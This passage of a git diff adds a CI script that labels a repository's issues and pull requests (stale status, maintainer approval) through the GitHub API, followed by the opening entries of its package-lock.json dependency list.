+    log('Artifact expires at', artifact?.expires_at ?? '<n/a>')
+    if (!expired) {
+      stats.artifacts++
+
+      await artifactClient.downloadArtifact(artifact.id, {
+        findBy: {
+          repositoryName: context.repo.repo,
+          repositoryOwner: context.repo.owner,
+          token: core.getInput('github-token')
+        },
+        path: path.resolve(pull_number.toString()),
+        expectedHash: artifact.digest
+      })
+
+      const maintainers = new Set(Object.keys(
+        JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8'))
+      ).map(m => Number.parseInt(m, 10)))
+
+      const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels
+
+      Object.assign(
+        prLabels,
+        // Ignore `evalLabels` if it's an array.
+        // This can happen for older eval runs, before we switched to objects.
+        // The old eval labels would have been set by the eval run,
+        // so now they'll be present in `before`.
+        // TODO: Simplify once old eval results have expired (~2025-10)
+        (Array.isArray(evalLabels) ? undefined : evalLabels),
+        {
+          '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)),
+        }
+      )
+    }
+
+    return prLabels
+  }
+
+  async function handle(item) {
+    try {
+      const log = (k,v,skip) => {
+        core.info(`#${item.number} - ${k}: ${v}` + (skip ? ' (skipped)' : ''))
+        return skip
+      }
+
+      log('Last updated at', item.updated_at)
+      log('URL', item.html_url)
+
+      const issue_number = item.number
+
+      const itemLabels = {}
+
+      if (item.pull_request) {
+        stats.prs++
+        Object.assign(itemLabels, await handlePullRequest(item))
+      } else {
+        stats.issues++
+      }
+
+      const latest_event_at = new Date(
+        (await github.paginate(
+          github.rest.issues.listEventsForTimeline,
+          {
+            ...context.repo,
+            issue_number,
+            per_page: 100
+          }
+        ))
+        .filter(({ event }) => [
+          // These events are hand-picked from:
+          //   https://docs.github.com/en/rest/using-the-rest-api/issue-event-types?apiVersion=2022-11-28
+          // Each of those causes a PR/issue to *not* be considered as stale anymore.
+          // Most of these use created_at.
+          'assigned',
+          'commented', // uses updated_at, because that could be > created_at
+          'committed', // uses committer.date
+          'head_ref_force_pushed',
+          'milestoned',
+          'pinned',
+          'ready_for_review',
+          'renamed',
+          'reopened',
+          'review_dismissed',
+          'review_requested',
+          'reviewed', // uses submitted_at
+          'unlocked',
+          'unmarked_as_duplicate',
+        ].includes(event))
+        .map(({ created_at, updated_at, committer, submitted_at }) => new Date(updated_at ?? created_at ?? submitted_at ?? committer.date))
+        // Reverse sort by date value. The default sort() sorts by string representation, which is bad for dates.
+        .sort((a,b) => b-a)
+        .at(0) ?? item.created_at
+      )
+      log('latest_event_at', latest_event_at.toISOString())
+
+      const stale_at = new Date(new Date().setDate(new Date().getDate() - 180))
+
+      // Create a map (Label -> Boolean) of all currently set labels.
+      // Each label is set to True and can be disabled later.
+      const before = Object.fromEntries(
+        (await github.paginate(github.rest.issues.listLabelsOnIssue, {
+          ...context.repo,
+          issue_number
+        }))
+        .map(({ name }) => [name, true])
+      )
+
+      Object.assign(itemLabels, {
+        '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at,
+      })
+
+      const after = Object.assign({}, before, itemLabels)
+
+      // No need for an API request, if all labels are the same.
+      const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name])
+      if (log('Has changes', hasChanges, !hasChanges))
+        return;
+
+      // Skipping labeling on a pull_request event, because we have no privileges.
+      const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name)
+      if (log('Set labels', labels, context.eventName == 'pull_request'))
+        return;
+
+      await github.rest.issues.setLabels({
+        ...context.repo,
+        issue_number,
+        labels
+      })
+    } catch (cause) {
+      throw new Error(`Labeling #${item.number} failed.`, { cause })
+    }
+  }
+
+  try {
+    if (context.payload.pull_request) {
+      await handle(context.payload.pull_request)
+    } else {
+      const lastRun = (await github.rest.actions.listWorkflowRuns({
+        ...context.repo,
+        workflow_id: 'labels.yml',
+        event: 'schedule',
+        status: 'success',
+        exclude_pull_requests: true,
+        per_page: 1
+      })).data.workflow_runs[0]
+
+      // Go back as far as the last successful run of this workflow to make sure
+      // we are not leaving anyone behind on GHA failures.
+      // Defaults to go back 1 hour on the first run.
+      const cutoff = new Date(lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000)
+      core.info('cutoff timestamp: ' + cutoff.toISOString())
+
+      const updatedItems = await github.paginate(
+        github.rest.search.issuesAndPullRequests,
+        {
+          q: [
+            `repo:"${context.repo.owner}/${context.repo.repo}"`,
+            'is:open',
+            `updated:>=${cutoff.toISOString()}`
+          ].join(' AND '),
+          // TODO: Remove in 2025-10, when it becomes the default.
+          advanced_search: true
+        }
+      )
+
+      let cursor
+
+      // No workflow run available the first time.
+      if (lastRun) {
+        // The cursor to iterate through the full list of issues and pull requests
+        // is passed between jobs as an artifact.
+        const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
+          ...context.repo,
+          run_id: lastRun.id,
+          name: 'pagination-cursor'
+        })).data.artifacts[0]
+
+        // If the artifact is not available, the next iteration starts at the beginning.
+        if (artifact) {
+          stats.artifacts++
+
+          const { downloadPath } = await artifactClient.downloadArtifact(artifact.id, {
+            findBy: {
+              repositoryName: context.repo.repo,
+              repositoryOwner: context.repo.owner,
+              token: core.getInput('github-token')
+            },
+            expectedHash: artifact.digest
+          })
+
+          cursor = await readFile(path.resolve(downloadPath, 'cursor'), 'utf-8')
+        }
+      }
+
+      // From GitHub's API docs:
+      //   GitHub's REST API considers every pull request an issue, but not every issue is a pull request.
+      //   For this reason, "Issues" endpoints may return both issues and pull requests in the response.
+      //   You can identify pull requests by the pull_request key.
+      const allItems = await github.rest.issues.listForRepo({
+        ...context.repo,
+        state: 'open',
+        sort: 'created',
+        direction: 'asc',
+        per_page: 100,
+        after: cursor
+      })
+
+      // Regex taken and comment adjusted from:
+      // https://github.com/octokit/plugin-paginate-rest.js/blob/8e5da25f975d2f31dda6b8b588d71f2c768a8df2/src/iterator.ts#L36-L41
+      // `allItems.headers.link` format:
+      //   <https://api.github.com/repositories/4542716/issues?page=3&per_page=100&after=Y3Vyc29yOnYyOpLPAAABl8qNnYDOvnSJxA%3D%3D>; rel="next",
+      //   <https://api.github.com/repositories/4542716/issues?page=1&per_page=100&before=Y3Vyc29yOnYyOpLPAAABl8xFV9DOvoouJg%3D%3D>; rel="prev"
+      // Sets `next` to undefined if "next" URL is not present or `link` header is not set.
+      const next = ((allItems.headers.link ?? '').match(/<([^<>]+)>;\s*rel="next"/) ?? [])[1]
+      if (next) {
+        cursor = new URL(next).searchParams.get('after')
+        const uploadPath = path.resolve('cursor')
+        await writeFile(uploadPath, cursor, 'utf-8')
+        // No stats.artifacts++, because this does not allow passing a custom token.
+        // Thus, the upload will not happen with the app token, but the default github.token.
+        await artifactClient.uploadArtifact(
+          'pagination-cursor',
+          [uploadPath],
+          path.resolve('.'),
+          {
+            retentionDays: 1
+          }
+        )
+      }
+
+      // Some items might be in both search results, so filtering out duplicates as well.
+      const items = [].concat(updatedItems, allItems.data)
+        .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number))
+
+      ;(await Promise.allSettled(items.map(handle)))
+        .filter(({ status }) => status == 'rejected')
+        .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
+
+      core.notice(`Processed ${stats.prs} PRs, ${stats.issues} Issues, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
+    }
+  } finally {
+    clearInterval(reservoirUpdater)
+  }
+}
diff --git a/ci/labels/package-lock.json b/ci/labels/package-lock.json
new file mode 100644
index 000000000000..5c5ee09ad67e
--- /dev/null
+++ b/ci/labels/package-lock.json
@@ -0,0 +1,1897 @@
+{
+  "name": "labels",
+  "lockfileVersion": 3,
+  "requires": true,
+  "packages": {
+    "": {
+      "dependencies": {
+        "@actions/artifact": "2.3.2",
+        "@actions/github": "6.0.1",
+        "bottleneck": "2.19.5"
+      }
+    },
+    "node_modules/@actions/artifact": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/@actions/artifact/-/artifact-2.3.2.tgz",
+      "integrity": "sha512-uX2Mr5KEPcwnzqa0Og9wOTEKIae6C/yx9P/m8bIglzCS5nZDkcQC/zRWjjoEsyVecL6oQpBx5BuqQj/yuVm0gw==",
+      "license": "MIT",
+      "dependencies": {
+        "@actions/core": "^1.10.0",
+        "@actions/github": "^5.1.1",
+        "@actions/http-client": "^2.1.0",
+        "@azure/storage-blob": "^12.15.0",
+        "@octokit/core": "^3.5.1",
+        "@octokit/plugin-request-log": "^1.0.4",
+        "@octokit/plugin-retry": "^3.0.9",
+        "@octokit/request-error": "^5.0.0",
+        "@protobuf-ts/plugin": "^2.2.3-alpha.1",
+        "archiver": "^7.0.1",
+        "jwt-decode": "^3.1.2",
+        "unzip-stream": "^0.3.1"
+      }
+    },
+    "node_modules/@actions/artifact/node_modules/@actions/github": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@actions/github/-/github-5.1.1.tgz",
+      "integrity": "sha512-Nk59rMDoJaV+mHCOJPXuvB1zIbomlKS0dmSIqPGxd0enAXBnOfn4VWF+CGtRCwXZG9Epa54tZA7VIRlJDS8A6g==",
+      "license": "MIT",
+      "dependencies": {
+        "@actions/http-client": "^2.0.1",
+        "@octokit/core": "^3.6.0",
+        "@octokit/plugin-paginate-rest": "^2.17.0",
+        "@octokit/plugin-rest-endpoint-methods": "^5.13.0"
+      }
+    },
+    "node_modules/@actions/core": {
+      "version": "1.11.1",
+      "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.11.1.tgz",
+      "integrity": "sha512-hXJCSrkwfA46Vd9Z3q4cpEpHB1rL5NG04+/rbqW9d3+CSvtB1tYe8UTpAlixa1vj0m/ULglfEK2UKxMGxCxv5A==",
+      "license": "MIT",
+      "dependencies": {
+        "@actions/exec": "^1.1.1",
+        "@actions/http-client": "^2.0.1"
+      }
+    },
+    "node_modules/@actions/exec": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@actions/exec/-/exec-1.1.1.tgz",
+      "integrity": "sha512-+sCcHHbVdk93a0XT19ECtO/gIXoxvdsgQLzb2fE2/5sIZmWQuluYyjPQtrtTHdU1YzTZ7bAPN4sITq2xi1679w==",
+      "license": "MIT",
+      "dependencies": {
+        "@actions/io": "^1.0.1"
+      }
+    },
+    "node_modules/@actions/github": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/@actions/github/-/github-6.0.1.tgz",
+      "integrity": "sha512-xbZVcaqD4XnQAe35qSQqskb3SqIAfRyLBrHMd/8TuL7hJSz2QtbDwnNM8zWx4zO5l2fnGtseNE3MbEvD7BxVMw==",
+      "license": "MIT",
+      "dependencies": {
+        "@actions/http-client": "^2.2.0",
+        "@octokit/core": "^5.0.1",
+        "@octokit/plugin-paginate-rest": "^9.2.2",
+        "@octokit/plugin-rest-endpoint-methods": "^10.4.0",
+        "@octokit/request": "^8.4.1",
+        "@octokit/request-error": "^5.1.1",
+        "undici": "^5.28.5"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/auth-token": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-4.0.0.tgz",
+      "integrity": "sha512-tY/msAuJo6ARbK6SPIxZrPBms3xPbfwBrulZe0Wtr/DIY9lje2HeV1uoebShn6mx7SjCHif6EjMvoREj+gZ+SA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/core": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/@octokit/core/-/core-5.2.1.tgz",
+      "integrity": "sha512-dKYCMuPO1bmrpuogcjQ8z7ICCH3FP6WmxpwC03yjzGfZhj9fTJg6+bS1+UAplekbN2C+M61UNllGOOoAfGCrdQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/auth-token": "^4.0.0",
+        "@octokit/graphql": "^7.1.0",
+        "@octokit/request": "^8.4.1",
+        "@octokit/request-error": "^5.1.1",
+        "@octokit/types": "^13.0.0",
+        "before-after-hook": "^2.2.0",
+        "universal-user-agent": "^6.0.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/endpoint": {
+      "version": "9.0.6",
+      "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-9.0.6.tgz",
+      "integrity": "sha512-H1fNTMA57HbkFESSt3Y9+FBICv+0jFceJFPWDePYlR/iMGrwM5ph+Dd4XRQs+8X+PUFURLQgX9ChPfhJ/1uNQw==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "universal-user-agent": "^6.0.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/graphql": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-7.1.1.tgz",
+      "integrity": "sha512-3mkDltSfcDUoa176nlGoA32RGjeWjl3K7F/BwHwRMJUW/IteSa4bnSV8p2ThNkcIcZU2umkZWxwETSSCJf2Q7g==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/request": "^8.4.1",
+        "@octokit/types": "^13.0.0",
+        "universal-user-agent": "^6.0.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/openapi-types": {
+      "version": "24.2.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
+      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
+      "license": "MIT"
+    },
+    "node_modules/@actions/github/node_modules/@octokit/plugin-paginate-rest": {
+      "version": "9.2.2",
+      "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-9.2.2.tgz",
+      "integrity": "sha512-u3KYkGF7GcZnSD/3UP0S7K5XUFT2FkOQdcfXZGZQPGv3lm4F2Xbf71lvjldr8c1H3nNbF+33cLEkWYbokGWqiQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^12.6.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      },
+      "peerDependencies": {
+        "@octokit/core": "5"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/plugin-paginate-rest/node_modules/@octokit/openapi-types": {
+      "version": "20.0.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz",
+      "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==",
+      "license": "MIT"
+    },
+    "node_modules/@actions/github/node_modules/@octokit/plugin-paginate-rest/node_modules/@octokit/types": {
+      "version": "12.6.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz",
+      "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^20.0.0"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/plugin-rest-endpoint-methods": {
+      "version": "10.4.1",
+      "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-10.4.1.tgz",
+      "integrity": "sha512-xV1b+ceKV9KytQe3zCVqjg+8GTGfDYwaT1ATU5isiUyVtlVAO3HNdzpS4sr4GBx4hxQ46s7ITtZrAsxG22+rVg==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^12.6.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      },
+      "peerDependencies": {
+        "@octokit/core": "5"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/plugin-rest-endpoint-methods/node_modules/@octokit/openapi-types": {
+      "version": "20.0.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz",
+      "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==",
+      "license": "MIT"
+    },
+    "node_modules/@actions/github/node_modules/@octokit/plugin-rest-endpoint-methods/node_modules/@octokit/types": {
+      "version": "12.6.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz",
+      "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^20.0.0"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/request": {
+      "version": "8.4.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request/-/request-8.4.1.tgz",
+      "integrity": "sha512-qnB2+SY3hkCmBxZsR/MPCybNmbJe4KAlfWErXq+rBKkQJlbjdJeS85VI9r8UqeLYLvnAenU8Q1okM/0MBsAGXw==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/endpoint": "^9.0.6",
+        "@octokit/request-error": "^5.1.1",
+        "@octokit/types": "^13.1.0",
+        "universal-user-agent": "^6.0.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/@actions/github/node_modules/@octokit/types": {
+      "version": "13.10.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
+      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^24.2.0"
+      }
+    },
+    "node_modules/@actions/http-client": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/@actions/http-client/-/http-client-2.2.3.tgz",
+      "integrity": "sha512-mx8hyJi/hjFvbPokCg4uRd4ZX78t+YyRPtnKWwIl+RzNaVuFpQHfmlGVfsKEJN8LwTCvL+DfVgAM04XaHkm6bA==",
+      "license": "MIT",
+      "dependencies": {
+        "tunnel": "^0.0.6",
+        "undici": "^5.25.4"
+      }
+    },
+    "node_modules/@actions/io": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/@actions/io/-/io-1.1.3.tgz",
+      "integrity": "sha512-wi9JjgKLYS7U/z8PPbco+PvTb/nRWjeoFlJ1Qer83k/3C5PHQi28hiVdeE2kHXmIL99mQFawx8qt/JPjZilJ8Q==",
+      "license": "MIT"
+    },
+    "node_modules/@azure/abort-controller": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.1.2.tgz",
+      "integrity": "sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==",
+      "license": "MIT",
+      "dependencies": {
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/core-auth": {
+      "version": "1.9.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.9.0.tgz",
+      "integrity": "sha512-FPwHpZywuyasDSLMqJ6fhbOK3TqUdviZNF8OqRGA4W5Ewib2lEEZ+pBsYcBa88B2NGO/SEnYPGhyBqNlE8ilSw==",
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.0.0",
+        "@azure/core-util": "^1.11.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/core-client": {
+      "version": "1.9.4",
+      "resolved": "https://registry.npmjs.org/@azure/core-client/-/core-client-1.9.4.tgz",
+      "integrity": "sha512-f7IxTD15Qdux30s2qFARH+JxgwxWLG2Rlr4oSkPGuLWm+1p5y1+C04XGLA0vmX6EtqfutmjvpNmAfgwVIS5hpw==",
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.0.0",
+        "@azure/core-auth": "^1.4.0",
+        "@azure/core-rest-pipeline": "^1.20.0",
+        "@azure/core-tracing": "^1.0.0",
+        "@azure/core-util": "^1.6.1",
+        "@azure/logger": "^1.0.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/core-http-compat": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-http-compat/-/core-http-compat-2.3.0.tgz",
+      "integrity": "sha512-qLQujmUypBBG0gxHd0j6/Jdmul6ttl24c8WGiLXIk7IHXdBlfoBqW27hyz3Xn6xbfdyVSarl1Ttbk0AwnZBYCw==",
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.0.0",
+        "@azure/core-client": "^1.3.0",
+        "@azure/core-rest-pipeline": "^1.20.0"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/core-lro": {
+      "version": "2.7.2",
+      "resolved": "https://registry.npmjs.org/@azure/core-lro/-/core-lro-2.7.2.tgz",
+      "integrity": "sha512-0YIpccoX8m/k00O7mDDMdJpbr6mf1yWo2dfmxt5A8XVZVVMz2SSKaEbMCeJRvgQ0IaSlqhjT47p4hVIRRy90xw==",
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.0.0",
+        "@azure/core-util": "^1.2.0",
+        "@azure/logger": "^1.0.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/core-paging": {
+      "version": "1.6.2",
+      "resolved": "https://registry.npmjs.org/@azure/core-paging/-/core-paging-1.6.2.tgz",
+      "integrity": "sha512-YKWi9YuCU04B55h25cnOYZHxXYtEvQEbKST5vqRga7hWY9ydd3FZHdeQF8pyh+acWZvppw13M/LMGx0LABUVMA==",
+      "license": "MIT",
+      "dependencies": {
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/core-rest-pipeline": {
+      "version": "1.21.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.21.0.tgz",
+      "integrity": "sha512-a4MBwe/5WKbq9MIxikzgxLBbruC5qlkFYlBdI7Ev50Y7ib5Vo/Jvt5jnJo7NaWeJ908LCHL0S1Us4UMf1VoTfg==",
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.0.0",
+        "@azure/core-auth": "^1.8.0",
+        "@azure/core-tracing": "^1.0.1",
+        "@azure/core-util": "^1.11.0",
+        "@azure/logger": "^1.0.0",
+        "@typespec/ts-http-runtime": "^0.2.3",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/core-tracing": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-tracing/-/core-tracing-1.2.0.tgz",
+      "integrity": "sha512-UKTiEJPkWcESPYJz3X5uKRYyOcJD+4nYph+KpfdPRnQJVrZfk0KJgdnaAWKfhsBBtAf/D58Az4AvCJEmWgIBAg==",
+      "license": "MIT",
+      "dependencies": {
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/core-util": {
+      "version": "1.12.0",
+      "resolved": "https://registry.npmjs.org/@azure/core-util/-/core-util-1.12.0.tgz",
+      "integrity": "sha512-13IyjTQgABPARvG90+N2dXpC+hwp466XCdQXPCRlbWHgd3SJd5Q1VvaBGv6k1BIa4MQm6hAF1UBU1m8QUxV8sQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.0.0",
+        "@typespec/ts-http-runtime": "^0.2.2",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/core-xml": {
+      "version": "1.4.5",
+      "resolved": "https://registry.npmjs.org/@azure/core-xml/-/core-xml-1.4.5.tgz",
+      "integrity": "sha512-gT4H8mTaSXRz7eGTuQyq1aIJnJqeXzpOe9Ay7Z3FrCouer14CbV3VzjnJrNrQfbBpGBLO9oy8BmrY75A0p53cA==",
+      "license": "MIT",
+      "dependencies": {
+        "fast-xml-parser": "^5.0.7",
+        "tslib": "^2.8.1"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/logger": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/@azure/logger/-/logger-1.2.0.tgz",
+      "integrity": "sha512-0hKEzLhpw+ZTAfNJyRrn6s+V0nDWzXk9OjBr2TiGIu0OfMr5s2V4FpKLTAK3Ca5r5OKLbf4hkOGDPyiRjie/jA==",
+      "license": "MIT",
+      "dependencies": {
+        "@typespec/ts-http-runtime": "^0.2.2",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@azure/storage-blob": {
+      "version": "12.27.0",
+      "resolved": "https://registry.npmjs.org/@azure/storage-blob/-/storage-blob-12.27.0.tgz",
+      "integrity": "sha512-IQjj9RIzAKatmNca3D6bT0qJ+Pkox1WZGOg2esJF2YLHb45pQKOwGPIAV+w3rfgkj7zV3RMxpn/c6iftzSOZJQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@azure/abort-controller": "^2.1.2",
+        "@azure/core-auth": "^1.4.0",
+        "@azure/core-client": "^1.6.2",
+        "@azure/core-http-compat": "^2.0.0",
+        "@azure/core-lro": "^2.2.0",
+        "@azure/core-paging": "^1.1.1",
+        "@azure/core-rest-pipeline": "^1.10.1",
+        "@azure/core-tracing": "^1.1.2",
+        "@azure/core-util": "^1.6.1",
+        "@azure/core-xml": "^1.4.3",
+        "@azure/logger": "^1.0.0",
+        "events": "^3.0.0",
+        "tslib": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=18.0.0"
+      }
+    },
+    "node_modules/@bufbuild/protobuf": {
+      "version": "2.6.0",
+      "resolved": "https://registry.npmjs.org/@bufbuild/protobuf/-/protobuf-2.6.0.tgz",
+      "integrity": "sha512-6cuonJVNOIL7lTj5zgo/Rc2bKAo4/GvN+rKCrUj7GdEHRzCk8zKOfFwUsL9nAVk5rSIsRmlgcpLzTRysopEeeg==",
+      "license": "(Apache-2.0 AND BSD-3-Clause)"
+    },
+    "node_modules/@bufbuild/protoplugin": {
+      "version": "2.6.0",
+      "resolved": "https://registry.npmjs.org/@bufbuild/protoplugin/-/protoplugin-2.6.0.tgz",
+      "integrity": "sha512-mfAwI+4GqUtbw/ddfyolEHaAL86ozRIVlOg2A+SVRbjx1CjsMc1YJO+hBSkt/pqfpR+PmWBbZLstHbXP8KGtMQ==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@bufbuild/protobuf": "2.6.0",
+        "@typescript/vfs": "^1.5.2",
+        "typescript": "5.4.5"
+      }
+    },
+    "node_modules/@bufbuild/protoplugin/node_modules/typescript": {
+      "version": "5.4.5",
+      "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.4.5.tgz",
+      "integrity": "sha512-vcI4UpRgg81oIRUFwR0WSIHKt11nJ7SAVlYNIu+QpqeyXP+gpQJy/Z4+F0aGxSE4MqwjyXvW/TzgkLAx2AGHwQ==",
+      "license": "Apache-2.0",
+      "bin": {
+        "tsc": "bin/tsc",
+        "tsserver": "bin/tsserver"
+      },
+      "engines": {
+        "node": ">=14.17"
+      }
+    },
+    "node_modules/@fastify/busboy": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/@fastify/busboy/-/busboy-2.1.1.tgz",
+      "integrity": "sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=14"
+      }
+    },
+    "node_modules/@isaacs/cliui": {
+      "version": "8.0.2",
+      "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz",
+      "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==",
+      "license": "ISC",
+      "dependencies": {
+        "string-width": "^5.1.2",
+        "string-width-cjs": "npm:string-width@^4.2.0",
+        "strip-ansi": "^7.0.1",
+        "strip-ansi-cjs": "npm:strip-ansi@^6.0.1",
+        "wrap-ansi": "^8.1.0",
+        "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@octokit/auth-token": {
+      "version": "2.5.0",
+      "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-2.5.0.tgz",
+      "integrity": "sha512-r5FVUJCOLl19AxiuZD2VRZ/ORjp/4IN98Of6YJoJOkY75CIBuYfmiNHGrDwXr+aLGG55igl9QrxX3hbiXlLb+g==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^6.0.3"
+      }
+    },
+    "node_modules/@octokit/core": {
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/@octokit/core/-/core-3.6.0.tgz",
